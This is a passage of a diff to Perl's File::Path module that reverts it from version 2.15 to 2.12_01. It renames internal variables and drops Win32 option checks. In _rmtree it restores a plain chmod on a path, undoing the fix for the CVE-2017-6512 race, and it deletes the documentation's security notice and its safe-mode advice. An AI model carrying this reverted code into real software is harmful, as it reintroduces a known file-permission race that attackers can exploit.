 use vars qw($VERSION @ISA @EXPORT @EXPORT_OK);
-$VERSION   = '2.15';
+$VERSION   = '2.12_01';
 $VERSION   = eval $VERSION;
 @ISA       = qw(Exporter);
 @EXPORT    = qw(mkpath rmtree);
@@ -85,15 +85,15 @@ sub make_path {
 sub mkpath {
     my $old_style = !( @_ and __is_arg( $_[-1] ) );
 
-    my $data;
+    my $arg;
     my $paths;
 
     if ($old_style) {
         my ( $verbose, $mode );
         ( $paths, $verbose, $mode ) = @_;
         $paths = [$paths] unless UNIVERSAL::isa( $paths, 'ARRAY' );
-        $data->{verbose} = $verbose;
-        $data->{mode} = defined $mode ? $mode : oct '777';
+        $arg->{verbose} = $verbose;
+        $arg->{mode} = defined $mode ? $mode : oct '777';
     }
     else {
         my %args_permitted = map { $_ => 1 } ( qw|
@@ -107,74 +107,55 @@ sub mkpath {
             user
             verbose
         | );
-        my %not_on_win32_args = map { $_ => 1 } ( qw|
-            group
-            owner
-            uid
-            user
-        | );
         my @bad_args = ();
-        my @win32_implausible_args = ();
-        my $arg = pop @_;
+        $arg = pop @_;
         for my $k (sort keys %{$arg}) {
-            if (! $args_permitted{$k}) {
-                push @bad_args, $k;
-            }
-            elsif ($not_on_win32_args{$k} and _IS_MSWIN32) {
-                push @win32_implausible_args, $k;
-            }
-            else {
-                $data->{$k} = $arg->{$k};
-            }
+            push @bad_args, $k unless $args_permitted{$k};
         }
-        _carp("Unrecognized option(s) passed to mkpath() or make_path(): @bad_args")
+        _carp("Unrecognized option(s) passed to make_path(): @bad_args")
             if @bad_args;
-        _carp("Option(s) implausible on Win32 passed to mkpath() or make_path(): @win32_implausible_args")
-            if @win32_implausible_args;
-        $data->{mode} = delete $data->{mask} if exists $data->{mask};
-        $data->{mode} = oct '777' unless exists $data->{mode};
-        ${ $data->{error} } = [] if exists $data->{error};
-        unless (@win32_implausible_args) {
-            $data->{owner} = delete $data->{user} if exists $data->{user};
-            $data->{owner} = delete $data->{uid}  if exists $data->{uid};
-            if ( exists $data->{owner} and $data->{owner} =~ /\D/ ) {
-                my $uid = ( getpwnam $data->{owner} )[2];
-                if ( defined $uid ) {
-                    $data->{owner} = $uid;
-                }
-                else {
-                    _error( $data,
-                            "unable to map $data->{owner} to a uid, ownership not changed"
-                          );
-                    delete $data->{owner};
-                }
+        $arg->{mode} = delete $arg->{mask} if exists $arg->{mask};
+        $arg->{mode} = oct '777' unless exists $arg->{mode};
+        ${ $arg->{error} } = [] if exists $arg->{error};
+        $arg->{owner} = delete $arg->{user} if exists $arg->{user};
+        $arg->{owner} = delete $arg->{uid}  if exists $arg->{uid};
+        if ( exists $arg->{owner} and $arg->{owner} =~ /\D/ ) {
+            my $uid = ( getpwnam $arg->{owner} )[2];
+            if ( defined $uid ) {
+                $arg->{owner} = $uid;
             }
-            if ( exists $data->{group} and $data->{group} =~ /\D/ ) {
-                my $gid = ( getgrnam $data->{group} )[2];
-                if ( defined $gid ) {
-                    $data->{group} = $gid;
-                }
-                else {
-                    _error( $data,
-                            "unable to map $data->{group} to a gid, group ownership not changed"
-                    );
-                    delete $data->{group};
-                }
+            else {
+                _error( $arg,
+"unable to map $arg->{owner} to a uid, ownership not changed"
+                );
+                delete $arg->{owner};
             }
-            if ( exists $data->{owner} and not exists $data->{group} ) {
-                $data->{group} = -1;    # chown will leave group unchanged
+        }
+        if ( exists $arg->{group} and $arg->{group} =~ /\D/ ) {
+            my $gid = ( getgrnam $arg->{group} )[2];
+            if ( defined $gid ) {
+                $arg->{group} = $gid;
             }
-            if ( exists $data->{group} and not exists $data->{owner} ) {
-                $data->{owner} = -1;    # chown will leave owner unchanged
+            else {
+                _error( $arg,
+"unable to map $arg->{group} to a gid, group ownership not changed"
+                );
+                delete $arg->{group};
             }
         }
+        if ( exists $arg->{owner} and not exists $arg->{group} ) {
+            $arg->{group} = -1;    # chown will leave group unchanged
+        }
+        if ( exists $arg->{group} and not exists $arg->{owner} ) {
+            $arg->{owner} = -1;    # chown will leave owner unchanged
+        }
         $paths = [@_];
     }
-    return _mkpath( $data, $paths );
+    return _mkpath( $arg, $paths );
 }
 
 sub _mkpath {
-    my $data   = shift;
+    my $arg   = shift;
     my $paths = shift;
 
     my ( @created );
@@ -189,51 +170,38 @@ sub _mkpath {
         }
         next if -d $path;
         my $parent = File::Basename::dirname($path);
-        # Coverage note:  It's not clear how we would test the condition:
-        # '-d $parent or $path eq $parent'
         unless ( -d $parent or $path eq $parent ) {
-            push( @created, _mkpath( $data, [$parent] ) );
+            push( @created, _mkpath( $arg, [$parent] ) );
         }
-        print "mkdir $path\n" if $data->{verbose};
-        if ( mkdir( $path, $data->{mode} ) ) {
+        print "mkdir $path\n" if $arg->{verbose};
+        if ( mkdir( $path, $arg->{mode} ) ) {
             push( @created, $path );
-            if ( exists $data->{owner} ) {
+            if ( exists $arg->{owner} ) {
 
-                # NB: $data->{group} guaranteed to be set during initialisation
-                if ( !chown $data->{owner}, $data->{group}, $path ) {
-                    _error( $data,
-                        "Cannot change ownership of $path to $data->{owner}:$data->{group}"
+                # NB: $arg->{group} guaranteed to be set during initialisation
+                if ( !chown $arg->{owner}, $arg->{group}, $path ) {
+                    _error( $arg,
+"Cannot change ownership of $path to $arg->{owner}:$arg->{group}"
                     );
                 }
             }
-            if ( exists $data->{chmod} ) {
-                # Coverage note:  It's not clear how we would trigger the next
-                # 'if' block.  Failure of 'chmod' might first result in a
-                # system error: "Permission denied".
-                if ( !chmod $data->{chmod}, $path ) {
-                    _error( $data,
-                        "Cannot change permissions of $path to $data->{chmod}" );
+            if ( exists $arg->{chmod} ) {
+                if ( !chmod $arg->{chmod}, $path ) {
+                    _error( $arg,
+                        "Cannot change permissions of $path to $arg->{chmod}" );
                 }
             }
         }
         else {
             my $save_bang = $!;
-
-            # From 'perldoc perlvar': $EXTENDED_OS_ERROR ($^E) is documented
-            # as:
-            # Error information specific to the current operating system. At the
-            # moment, this differs from "$!" under only VMS, OS/2, and Win32
-            # (and for MacPerl). On all other platforms, $^E is always just the
-            # same as $!.
-
             my ( $e, $e1 ) = ( $save_bang, $^E );
             $e .= "; $e1" if $e ne $e1;
 
             # allow for another process to have created it meanwhile
             if ( ! -d $path ) {
                 $! = $save_bang;
-                if ( $data->{error} ) {
-                    push @{ ${ $data->{error} } }, { $path => $e };
+                if ( $arg->{error} ) {
+                    push @{ ${ $arg->{error} } }, { $path => $e };
                 }
                 else {
                     _croak("mkdir $path: $e");
@@ -270,13 +238,14 @@ sub _is_subdir {
 sub rmtree {
     my $old_style = !( @_ and __is_arg( $_[-1] ) );
 
-    my ($arg, $data, $paths);
+    my $arg;
+    my $paths;
 
     if ($old_style) {
         my ( $verbose, $safe );
         ( $paths, $verbose, $safe ) = @_;
-        $data->{verbose} = $verbose;
-        $data->{safe} = defined $safe ? $safe : 0;
+        $arg->{verbose} = $verbose;
+        $arg->{safe} = defined $safe ? $safe : 0;
 
         if ( defined($paths) and length($paths) ) {
             $paths = [$paths] unless UNIVERSAL::isa( $paths, 'ARRAY' );
@@ -295,53 +264,38 @@ sub rmtree {
             verbose
         | );
         my @bad_args = ();
-        my $arg = pop @_;
+        $arg = pop @_;
         for my $k (sort keys %{$arg}) {
-            if (! $args_permitted{$k}) {
-                push @bad_args, $k;
-            }
-            else {
-                $data->{$k} = $arg->{$k};
-            }
+            push @bad_args, $k unless $args_permitted{$k};
         }
         _carp("Unrecognized option(s) passed to remove_tree(): @bad_args")
             if @bad_args;
-        ${ $data->{error} }  = [] if exists $data->{error};
-        ${ $data->{result} } = [] if exists $data->{result};
-
-        # Wouldn't it make sense to do some validation on @_ before assigning
-        # to $paths here?
-        # In the $old_style case we guarantee that each path is both defined
-        # and non-empty.  We don't check that here, which means we have to
-        # check it later in the first condition in this line:
-        #     if ( $ortho_root_length && _is_subdir( $ortho_root, $ortho_cwd ) ) {
-        # Granted, that would be a change in behavior for the two
-        # non-old-style interfaces.
-
+        ${ $arg->{error} }  = [] if exists $arg->{error};
+        ${ $arg->{result} } = [] if exists $arg->{result};
         $paths = [@_];
     }
 
-    $data->{prefix} = '';
-    $data->{depth}  = 0;
+    $arg->{prefix} = '';
+    $arg->{depth}  = 0;
 
     my @clean_path;
-    $data->{cwd} = getcwd() or do {
-        _error( $data, "cannot fetch initial working directory" );
+    $arg->{cwd} = getcwd() or do {
+        _error( $arg, "cannot fetch initial working directory" );
         return 0;
     };
-    for ( $data->{cwd} ) { /\A(.*)\Z/s; $_ = $1 }    # untaint
+    for ( $arg->{cwd} ) { /\A(.*)\Z/s; $_ = $1 }    # untaint
 
     for my $p (@$paths) {
 
         # need to fixup case and map \ to / on Windows
         my $ortho_root = _IS_MSWIN32 ? _slash_lc($p) : $p;
         my $ortho_cwd =
-          _IS_MSWIN32 ? _slash_lc( $data->{cwd} ) : $data->{cwd};
+          _IS_MSWIN32 ? _slash_lc( $arg->{cwd} ) : $arg->{cwd};
         my $ortho_root_length = length($ortho_root);
         $ortho_root_length-- if _IS_VMS;   # don't compare '.' with ']'
         if ( $ortho_root_length && _is_subdir( $ortho_root, $ortho_cwd ) ) {
             local $! = 0;
-            _error( $data, "cannot remove path when cwd is $data->{cwd}", $p );
+            _error( $arg, "cannot remove path when cwd is $arg->{cwd}", $p );
             next;
         }
 
@@ -358,16 +312,16 @@ sub rmtree {
         push @clean_path, $p;
     }
 
-    @{$data}{qw(device inode)} = ( lstat $data->{cwd} )[ 0, 1 ] or do {
-        _error( $data, "cannot stat initial working directory", $data->{cwd} );
+    @{$arg}{qw(device inode perm)} = ( lstat $arg->{cwd} )[ 0, 1 ] or do {
+        _error( $arg, "cannot stat initial working directory", $arg->{cwd} );
         return 0;
     };
 
-    return _rmtree( $data, \@clean_path );
+    return _rmtree( $arg, \@clean_path );
 }
 
 sub _rmtree {
-    my $data   = shift;
+    my $arg   = shift;
     my $paths = shift;
 
     my $count  = 0;
@@ -385,8 +339,8 @@ sub _rmtree {
         # opposed to being truly canonical, anchored from the root (/).
 
         my $canon =
-          $data->{prefix}
-          ? File::Spec->catfile( $data->{prefix}, $root )
+          $arg->{prefix}
+          ? File::Spec->catfile( $arg->{prefix}, $root )
           : $root;
 
         my ( $ldev, $lino, $perm ) = ( lstat $root )[ 0, 1, 2 ]
@@ -400,40 +354,29 @@ sub _rmtree {
 
                 # see if we can escalate privileges to get in
                 # (e.g. funny protection mask such as -w- instead of rwx)
-                # This uses fchmod to avoid traversing outside of the proper
-                # location (CVE-2017-6512)
-                my $root_fh;
-                if (open($root_fh, '<', $root)) {
-                    my ($fh_dev, $fh_inode) = (stat $root_fh )[0,1];
-                    $perm &= oct '7777';
-                    my $nperm = $perm | oct '700';
-                    local $@;
-                    if (
-                        !(
-                            $data->{safe}
-                           or $nperm == $perm
-                           or !-d _
-                           or $fh_dev ne $ldev
-                           or $fh_inode ne $lino
-                           or eval { chmod( $nperm, $root_fh ) }
-                        )
-                      )
-                    {
-                        _error( $data,
-                            "cannot make child directory read-write-exec", $canon );
-                        next ROOT_DIR;
-                    }
-                    close $root_fh;
+                $perm &= oct '7777';
+                my $nperm = $perm | oct '700';
+                if (
+                    !(
+                           $arg->{safe}
+                        or $nperm == $perm
+                        or chmod( $nperm, $root )
+                    )
+                  )
+                {
+                    _error( $arg,
+                        "cannot make child directory read-write-exec", $canon );
+                    next ROOT_DIR;
                 }
-                if ( !chdir($root) ) {
-                    _error( $data, "cannot chdir to child", $canon );
+                elsif ( !chdir($root) ) {
+                    _error( $arg, "cannot chdir to child", $canon );
                     next ROOT_DIR;
                 }
             }
 
             my ( $cur_dev, $cur_inode, $perm ) = ( stat $curdir )[ 0, 1, 2 ]
               or do {
-                _error( $data, "cannot stat current working directory", $canon );
+                _error( $arg, "cannot stat current working directory", $canon );
                 next ROOT_DIR;
               };
 
@@ -454,20 +397,20 @@ sub _rmtree {
 
             if (
                 !(
-                       $data->{safe}
+                       $arg->{safe}
                     or $nperm == $perm
                     or chmod( $nperm, $curdir )
                 )
               )
             {
-                _error( $data, "cannot make directory read+writeable", $canon );
+                _error( $arg, "cannot make directory read+writeable", $canon );
                 $nperm = $perm;
             }
 
             my $d;
             $d = gensym() if $] < 5.006;
             if ( !opendir $d, $curdir ) {
-                _error( $data, "cannot opendir", $canon );
+                _error( $arg, "cannot opendir", $canon );
                 @files = ();
             }
             else {
@@ -494,9 +437,9 @@ sub _rmtree {
             if (@files) {
 
                 # remove the contained files before the directory itself
-                my $narg = {%$data};
+                my $narg = {%$arg};
                 @{$narg}{qw(device inode cwd prefix depth)} =
-                  ( $cur_dev, $cur_inode, $updir, $canon, $data->{depth} + 1 );
+                  ( $cur_dev, $cur_inode, $updir, $canon, $arg->{depth} + 1 );
                 $count += _rmtree( $narg, \@files );
             }
 
@@ -504,49 +447,49 @@ sub _rmtree {
             # below fails), while we are still in the directory and may do so
             # without a race via '.'
             if ( $nperm != $perm and not chmod( $perm, $curdir ) ) {
-                _error( $data, "cannot reset chmod", $canon );
+                _error( $arg, "cannot reset chmod", $canon );
             }
 
             # don't leave the client code in an unexpected directory
-            chdir( $data->{cwd} )
+            chdir( $arg->{cwd} )
               or
-              _croak("cannot chdir to $data->{cwd} from $canon: $!, aborting.");
+              _croak("cannot chdir to $arg->{cwd} from $canon: $!, aborting.");
 
             # ensure that a chdir upwards didn't take us somewhere other
             # than we expected (see CVE-2002-0435)
             ( $cur_dev, $cur_inode ) = ( stat $curdir )[ 0, 1 ]
               or _croak(
-                "cannot stat prior working directory $data->{cwd}: $!, aborting."
+                "cannot stat prior working directory $arg->{cwd}: $!, aborting."
               );
 
             if (_NEED_STAT_CHECK) {
-                ( $data->{device} eq $cur_dev and $data->{inode} eq $cur_inode )
-                  or _croak(  "previous directory $data->{cwd} "
+                ( $arg->{device} eq $cur_dev and $arg->{inode} eq $cur_inode )
+                  or _croak(  "previous directory $arg->{cwd} "
                             . "changed before entering $canon, "
                             . "expected dev=$ldev ino=$lino, "
                             . "actual dev=$cur_dev ino=$cur_inode, aborting."
                   );
             }
 
-            if ( $data->{depth} or !$data->{keep_root} ) {
-                if ( $data->{safe}
+            if ( $arg->{depth} or !$arg->{keep_root} ) {
+                if ( $arg->{safe}
                     && ( _IS_VMS
                         ? !&VMS::Filespec::candelete($root)
                         : !-w $root ) )
                 {
-                    print "skipped $root\n" if $data->{verbose};
+                    print "skipped $root\n" if $arg->{verbose};
                     next ROOT_DIR;
                 }
                 if ( _FORCE_WRITABLE and !chmod $perm | oct '700', $root ) {
-                    _error( $data, "cannot make directory writeable", $canon );
+                    _error( $arg, "cannot make directory writeable", $canon );
                 }
-                print "rmdir $root\n" if $data->{verbose};
+                print "rmdir $root\n" if $arg->{verbose};
                 if ( rmdir $root ) {
-                    push @{ ${ $data->{result} } }, $root if $data->{result};
+                    push @{ ${ $arg->{result} } }, $root if $arg->{result};
                     ++$count;
                 }
                 else {
-                    _error( $data, "cannot remove directory", $canon );
+                    _error( $arg, "cannot remove directory", $canon );
                     if (
                         _FORCE_WRITABLE
                         && !chmod( $perm,
@@ -555,7 +498,7 @@ sub _rmtree {
                       )
                     {
                         _error(
-                            $data,
+                            $arg,
                             sprintf( "cannot restore permissions to 0%o",
                                 $perm ),
                             $canon
@@ -572,7 +515,7 @@ sub _rmtree {
               && ( $root !~ m/(?]+/ );    # not already in VMS syntax
 
             if (
-                $data->{safe}
+                $arg->{safe}
                 && (
                     _IS_VMS
                     ? !&VMS::Filespec::candelete($root)
@@ -580,7 +523,7 @@ sub _rmtree {
                 )
               )
             {
-                print "skipped $root\n" if $data->{verbose};
+                print "skipped $root\n" if $arg->{verbose};
                 next ROOT_DIR;
             }
 
@@ -589,19 +532,19 @@ sub _rmtree {
                 and $nperm != $perm
                 and not chmod $nperm, $root )
             {
-                _error( $data, "cannot make file writeable", $canon );
+                _error( $arg, "cannot make file writeable", $canon );
             }
-            print "unlink $canon\n" if $data->{verbose};
+            print "unlink $canon\n" if $arg->{verbose};
 
             # delete all versions under VMS
             for ( ; ; ) {
                 if ( unlink $root ) {
-                    push @{ ${ $data->{result} } }, $root if $data->{result};
+                    push @{ ${ $arg->{result} } }, $root if $arg->{result};
                 }
                 else {
-                    _error( $data, "cannot unlink file", $canon );
+                    _error( $arg, "cannot unlink file", $canon );
                     _FORCE_WRITABLE and chmod( $perm, $root )
-                      or _error( $data,
+                      or _error( $arg,
                         sprintf( "cannot restore permissions to 0%o", $perm ),
                         $canon );
                     last;
@@ -633,41 +576,41 @@ File::Path - Create or remove directory trees
 
 =head1 VERSION
 
-2.15 - released June 07 2017.
+This document describes version 2.12 of File::Path.
 
 =head1 SYNOPSIS
 
-    use File::Path qw(make_path remove_tree);
-
-    @created = make_path('foo/bar/baz', '/zug/zwang');
-    @created = make_path('foo/bar/baz', '/zug/zwang', {
-        verbose => 1,
-        mode => 0711,
-    });
-    make_path('foo/bar/baz', '/zug/zwang', {
-        chmod => 0777,
-    });
-
-    $removed_count = remove_tree('foo/bar/baz', '/zug/zwang', {
-        verbose => 1,
-        error  => \my $err_list,
-        safe => 1,
-    });
-
-    # legacy (interface promoted before v2.00)
-    @created = mkpath('/foo/bar/baz');
-    @created = mkpath('/foo/bar/baz', 1, 0711);
-    @created = mkpath(['/foo/bar/baz', 'blurfl/quux'], 1, 0711);
-    $removed_count = rmtree('foo/bar/baz', 1, 1);
-    $removed_count = rmtree(['foo/bar/baz', 'blurfl/quux'], 1, 1);
-
-    # legacy (interface promoted before v2.06)
-    @created = mkpath('foo/bar/baz', '/zug/zwang', { verbose => 1, mode => 0711 });
-    $removed_count = rmtree('foo/bar/baz', '/zug/zwang', { verbose => 1, mode => 0711 });
+  use File::Path qw(make_path remove_tree);
+
+  @created = make_path('foo/bar/baz', '/zug/zwang');
+  @created = make_path('foo/bar/baz', '/zug/zwang', {
+      verbose => 1,
+      mode => 0711,
+  });
+  make_path('foo/bar/baz', '/zug/zwang', {
+      chmod => 0777,
+  });
+
+  $removed_count = remove_tree('foo/bar/baz', '/zug/zwang');
+  $removed_count = remove_tree('foo/bar/baz', '/zug/zwang', {
+      verbose => 1,
+      error  => \my $err_list,
+  });
+
+  # legacy (interface promoted before v2.00)
+  @created = mkpath('/foo/bar/baz');
+  @created = mkpath('/foo/bar/baz', 1, 0711);
+  @created = mkpath(['/foo/bar/baz', 'blurfl/quux'], 1, 0711);
+  $removed_count = rmtree('foo/bar/baz', 1, 1);
+  $removed_count = rmtree(['foo/bar/baz', 'blurfl/quux'], 1, 1);
+
+  # legacy (interface promoted before v2.06)
+  @created = mkpath('foo/bar/baz', '/zug/zwang', { verbose => 1, mode => 0711 });
+  $removed_count = rmtree('foo/bar/baz', '/zug/zwang', { verbose => 1, mode => 0711 });
 
 =head1 DESCRIPTION
 
-This module provides a convenient way to create directories of
+This module provide a convenient way to create directories of
 arbitrary depth and to delete an entire directory subtree from the
 filesystem.
 
@@ -680,7 +623,7 @@ The following functions are provided:
 =item make_path( $dir1, $dir2, ...., \%opts )
 
 The C function creates the given directories if they don't
-exist before, much like the Unix command C.
+exists before, much like the Unix command C.
 
 The function accepts a list of directories to be created. Its
 behaviour may be tuned by an optional hashref appearing as the last
@@ -696,7 +639,7 @@ The following keys are recognised in the option hash:
 =item mode => $num
 
 The numeric permissions mode to apply to each created directory
-(defaults to C<0777>), to be modified by the current C. If the
+(defaults to 0777), to be modified by the current C. If the
 directory already exists (and thus does not need to be created),
 the permissions will not be modified.
 
@@ -732,9 +675,9 @@ in an C block.
 =item uid => $owner
 
 If present, will cause any created directory to be owned by C<$owner>.
-If the value is numeric, it will be interpreted as a uid; otherwise a
-username is assumed. An error will be issued if the username cannot be
-mapped to a uid, the uid does not exist or the process lacks the
+If the value is numeric, it will be interpreted as a uid, otherwise
+as username is assumed. An error will be issued if the username cannot be
+mapped to a uid, or the uid does not exist, or the process lacks the
 privileges to change ownership.
 
 Ownership of directories that already exist will not be changed.
@@ -743,11 +686,11 @@ C and C are aliases of C.
 
 =item group => $group
 
-If present, will cause any created directory to be owned by the group
-C<$group>.  If the value is numeric, it will be interpreted as a gid;
-otherwise a group name is assumed. An error will be issued if the
-group name cannot be mapped to a gid, the gid does not exist or the
-process lacks the privileges to change group ownership.
+If present, will cause any created directory to be owned by the group C<$group>.
+If the value is numeric, it will be interpreted as a gid, otherwise
+as group name is assumed. An error will be issued if the group name cannot be
+mapped to a gid, or the gid does not exist, or the process lacks the
+privileges to change group ownership.
 
 Group ownership of directories that already exist will not be changed.
 
@@ -763,10 +706,9 @@ Group ownership of directories that already exist will not be changed.
 
 =item mkpath( $dir1, $dir2,..., \%opt )
 
-The C function provide the legacy interface of
-C with a different interpretation of the arguments
-passed.  The behaviour and return value of the function is otherwise
-identical to C.
+The mkpath() function provide the legacy interface of make_path() with
+a different interpretation of the arguments passed.  The behaviour and
+return value of the function is otherwise identical to make_path().
 
 =item remove_tree( $dir1, $dir2, .... )
 
@@ -774,29 +716,16 @@ identical to C.
 
 The C function deletes the given directories and any
 files and subdirectories they might contain, much like the Unix
-command C or the Windows commands C and C.
-
-The function accepts a list of directories to be removed. (In point of fact,
-it will also accept filesystem entries which are not directories, such as
-regular files and symlinks.  But, as its name suggests, its intent is to
-remove trees rather than individual files.)
+command C or the Windows commands C and C. The
+only exception to the function similarity is C accepts
+only directories whereas C also accepts files.
 
-C's behaviour may be tuned by an optional hashref
+The function accepts a list of directories to be
+removed. Its behaviour may be tuned by an optional hashref
 appearing as the last parameter on the call.  If an empty string is
 passed to C, an error will occur.
 
-B  For security reasons, we strongly advise use of the
-hashref-as-final-argument syntax -- specifically, with a setting of the C
-element to a true value.
-
-    remove_tree( $dir1, $dir2, ....,
-        {
-            safe => 1,
-            ...         # other key-value pairs
-        },
-    );
-
-The function returns the number of files successfully deleted.
+The functions returns the number of files successfully deleted.
 
 The following keys are recognised in the option hash:
 
@@ -822,7 +751,7 @@ When set to a true value, will cause all files and subdirectories
 to be removed, except the initially specified directories. This comes
 in handy when cleaning out an application's scratch directory.
 
-    remove_tree( '/tmp', {keep_root => 1} );
+  remove_tree( '/tmp', {keep_root => 1} );
 
 =item result => \$res
 
@@ -831,8 +760,8 @@ This scalar will be made to reference an array, which will
 be used to store all files and directories unlinked
 during the call. If nothing is unlinked, the array will be empty.
 
-    remove_tree( '/tmp', {result => \my $list} );
-    print "unlinked $_\n" for @$list;
+  remove_tree( '/tmp', {result => \my $list} );
+  print "unlinked $_\n" for @$list;
 
 This is a useful alternative to the C key.
 
@@ -862,21 +791,10 @@ of hand. This is the safest course of action.
 
 =item rmtree( $dir1, $dir2,..., \%opt )
 
-The C function provide the legacy interface of
-C with a different interpretation of the arguments
-passed. The behaviour and return value of the function is otherwise
-identical to C.
-
-B  For security reasons, we strongly advise use of the
-hashref-as-final-argument syntax, specifically with a setting of the C
-element to a true value.
-
-    rmtree( $dir1, $dir2, ....,
-        {
-            safe => 1,
-            ...         # other key-value pairs
-        },
-    );
+The rmtree() function provide the legacy interface of remove_tree()
+with a different interpretation of the arguments passed. The behaviour
+and return value of the function is otherwise identical to
+remove_tree().
 
 =back
 
@@ -895,9 +813,9 @@ C or C, you should take additional precautions.
 
 =back
 
-If C or C encounters an error, a diagnostic
+If C or C encounter an error, a diagnostic
 message will be printed to C via C (for non-fatal
-errors) or via C (for fatal errors).
+errors), or via C (for fatal errors).
 
 If this behaviour is not desirable, the C attribute may be
 used to hold a reference to a variable, which will be used to store
@@ -910,7 +828,7 @@ encountered the diagnostic key will be empty.
 An example usage looks like:
 
   remove_tree( 'foo/bar', 'bar/rat', {error => \my $err} );
-  if ($err && @$err) {
+  if (@$err) {
       for my $diag (@$err) {
           my ($file, $message) = %$diag;
           if ($file eq '') {
@@ -964,16 +882,16 @@ to at least 2.08 in order to avoid surprises.
 
 =head3 SECURITY CONSIDERATIONS
 
-There were race conditions in the 1.x implementations of File::Path's
+There were race conditions 1.x implementations of File::Path's
 C function (although sometimes patched depending on the OS
 distribution or platform). The 2.0 version contains code to avoid the
 problem mentioned in CVE-2002-0435.
 
 See the following pages for more information:
 
-    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286905
-    http://www.nntp.perl.org/group/perl.perl5.porters/2005/01/msg97623.html
-    http://www.debian.org/security/2005/dsa-696
+  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286905
+  http://www.nntp.perl.org/group/perl.perl5.porters/2005/01/msg97623.html
+  http://www.debian.org/security/2005/dsa-696
 
 Additionally, unless the C parameter is set (or the
 third parameter in the traditional interface is TRUE), should a
@@ -981,27 +899,6 @@ C be interrupted, files that were originally in read-only
 mode may now have their permissions set to a read-write (or "delete
 OK") mode.
 
-The following CVE reports were previously filed against File-Path and are
-believed to have been addressed:
-
-=over 4
-
-=item * L
-
-=item * L
-
-=back
-
-In February 2017 the cPanel Security Team reported an additional vulnerability
-in File-Path.  The C logic to make directories traversable can be
-abused to set the mode on an attacker-chosen file to an attacker-chosen value.
-This is due to the time-of-check-to-time-of-use (TOCTTOU) race condition
-(L) between the
-C that decides the inode is a directory and the C that tries
-to make it user-rwx.  CPAN versions 2.13 and later incorporate a patch
-provided by John Lightsey to address this problem.  This vulnerability has
-been reported as CVE-2017-6512.
-
 =head1 DIAGNOSTICS
 
 FATAL errors will cause the program to halt (C), since the
@@ -1010,7 +907,7 @@ can always be trapped with C, but it's not a good idea. Under
 the circumstances, dying is the best thing to do).
 
 SEVERE errors may be trapped using the modern interface. If the
-they are not trapped, or if the old interface is used, such an error
+they are not trapped, or the old interface is used, such an error
 will cause the program will halt.
 
 All other errors may be trapped using the modern interface, otherwise
@@ -1021,7 +918,7 @@ they will be Ced about. Program execution will not be halted.
 =item mkdir [path]: [errmsg] (SEVERE)
 
 C was unable to create the path. Probably some sort of
-permissions error at the point of departure or insufficient resources
+permissions error at the point of departure, or insufficient resources
 (such as free inodes on Unix).
 
 =item No root path(s) specified
@@ -1100,7 +997,7 @@ halts to avoid a race condition from occurring.
 
 =item cannot stat prior working directory [dir]: [errmsg], aborting. (FATAL)
 
-C was unable to stat the parent directory after having returned
+C was unable to stat the parent directory after have returned
 from the child. Since there is no way of knowing if we returned to
 where we think we should be (by comparing device and inode) the only
 way out is to C.
@@ -1120,9 +1017,9 @@ execution continues, but the directory may possibly not be deleted.
 
 =item cannot remove directory [dir]: [errmsg]
 
-C attempted to remove a directory, but failed. This may be because
+C attempted to remove a directory, but failed. This may because
 some objects that were unable to be removed remain in the directory, or
-it could be a permissions issue. The directory will be left behind.
+a permissions issue. The directory will be left behind.
 
 =item cannot restore permissions of [dir] to [0nnn]: [errmsg]
 
@@ -1190,16 +1087,14 @@ to examining directory trees.
 
 The following describes F limitations and how to report bugs.
 
-=head2 MULTITHREADED APPLICATIONS
+=head2 MULTITHREAD APPLICATIONS
 
-F C and C will not work with
-multithreaded applications due to its use of C.  At this time,
-no warning or error is generated in this situation.  You will
-certainly encounter unexpected results.
+F B and B will not work with multithreaded
+applications due to its use of B.  At this time, no warning or error
+results and you will certainly encounter unexpected results.
 
-The implementation that surfaces this limitation will not be changed. See the
-F module for functionality similar to F but which does
-not C.
+The implementation that surfaces this limitation may change in a future
+release.
 
 =head2 NFS Mount Points
 
@@ -1246,22 +1141,14 @@ James (Jim) Keenan >.
 
 =head1 CONTRIBUTORS
 
-Contributors to File::Path, in alphabetical order by first name.
+Contributors to File::Path, in alphabetical order.
 
 =over 1
 
 =item >
 
-=item Charlie Gonzalez >
-
 =item Craig A. Berry >
 
-=item James E Keenan >
-
-=item John Lightsey >
-
-=item Nigel Horne >
-
 =item Richard Elberger >
 
 =item Ryan Yee >
@@ -1270,14 +1157,12 @@ Contributors to File::Path, in alphabetical order by first name.
 
 =item Tom Lutz >
 
-=item Will Sheppard >
-
 =back
 
 =head1 COPYRIGHT
 
 This module is copyright (C) Charles Bailey, Tim Bunce, David Landgren,
-James Keenan and Richard Elberger 1995-2017. All rights reserved.
+James Keenan, and Richard Elberger 1995-2015. All rights reserved.
 
 =head1 LICENSE
 
diff --git a/cpan/File-Path/t/FilePathTest.pm b/cpan/File-Path/t/FilePathTest.pm
index 88b411d4bb3c..f9e828931194 100644
--- a/cpan/File-Path/t/FilePathTest.pm
+++ b/cpan/File-Path/t/FilePathTest.pm
@@ -3,26 +3,18 @@ use strict;
 use warnings;
 use base 'Exporter';
 use SelectSaver;
-use Carp;
 use Cwd;
 use File::Spec::Functions;
-use File::Path ();
-use Test::More ();
 
-our @EXPORT_OK = qw(
-    _run_for_warning
-    _run_for_verbose
-    _cannot_delete_safe_mode
-    _verbose_expected
-    create_3_level_subdirs
-    cleanup_3_level_subdirs
-);
+our @EXPORT = qw(_run_for_warning _run_for_verbose _basedir
+                 _cannot_delete_safe_mode
+                 _verbose_expected);
 
 sub _basedir {
-  return catdir(
-      curdir(),
-      sprintf( 'test-%x-%x-%x', time, $$, rand(99999) ),
+  return catdir( curdir(),
+                 sprintf( 'test-%x-%x-%x', time, $$, rand(99999) ),
   );
+
 }
 
 sub _run_for_warning {
@@ -117,28 +109,4 @@ END
   }
 }
 
-sub create_3_level_subdirs {
-    my @dirnames = @_;
-    my %seen = map {$_ => 1} @dirnames;
-    croak "Need 3 distinct names for subdirectories"
-        unless scalar(keys %seen) == 3;
-    my $tdir = File::Spec::Functions::tmpdir();
-    my $least_deep      = catdir($tdir, $dirnames[0]);
-    my $next_deepest    = catdir($least_deep, $dirnames[1]);
-    my $deepest         = catdir($next_deepest, $dirnames[2]);
-    return ($least_deep, $next_deepest, $deepest);
-}
-
-sub cleanup_3_level_subdirs {
-    # runs 2 tests
-    my $least_deep = shift;
-    croak "Must provide path of least subdirectory"
-        unless (length($least_deep) and (-d $least_deep));
-    my $x;
-    my $opts = { error => \$x };
-    File::Path::remove_tree($least_deep, $opts);
